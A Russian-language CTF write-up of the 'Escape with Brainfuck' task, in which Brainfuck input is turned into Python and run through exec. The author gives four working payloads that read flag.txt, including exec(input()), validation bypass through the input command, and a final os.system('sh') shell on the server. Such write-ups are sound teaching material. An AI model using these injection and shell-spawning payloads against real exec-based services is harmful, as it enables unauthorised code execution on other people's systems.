/Разборы задач
6 ноября 2026
Райтап на задачу «Побег с помощью Brainfuck»
Разбираем интерпретатор Brainfuck, обходим ограничение ввода и читаем флаг с помощью исполнения Python-кода.42
61

Misc
Задача «Побег с помощью Brainfuck»
Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через exec. Нужно написать код на Brainfuck, который преобразуется в Python-код и достаёт данные из файла.
Решений тут может быть много. Опишу четыре в порядке длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн-генератора: ссылка. Длина строки — 195 символов.
++++++++[>++++++++++++++>+++++>++++++++++++>++++++<<<<-]>.++.---------.+++++.++++++.>.<-----.+.>>+++++.<<--.>.-.>+.<<--.>>-----.++++++.>--.<<<++++++++.++++.----.>.++.>>.<<<--.>>--.----.+++.<-.+..2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак — 88 символов.
++++++++++[>++++++++++>++++++++++++>++++<<<-]>+.>.<.--.>>.<<++++++.+++++.++.>---.-.>.+..
print(open('flag.txt').read())3. У Brainfuck, кроме кодирования строк, есть ещё возможность передать запятую, и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит, шлём 30 пар запятой и точки: ,.,.,. и т. д. После этого засылаем всё тот же print(open('flag.txt').read()). Длина строки для решения — 60 символов.
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.
print(open('flag.txt').read())4. В Brainfuck также есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт — 0x00. Нулевой байт с консоли отправляется командой Ctrl + @ или Ctrl + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, а в квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат — 14 символов на Brainfuck:
++++++++++[.,]
import os
os.system('sh')
^@ # нулевой байт для остановки цикла
cat flag.txtДругие решения этой задачи: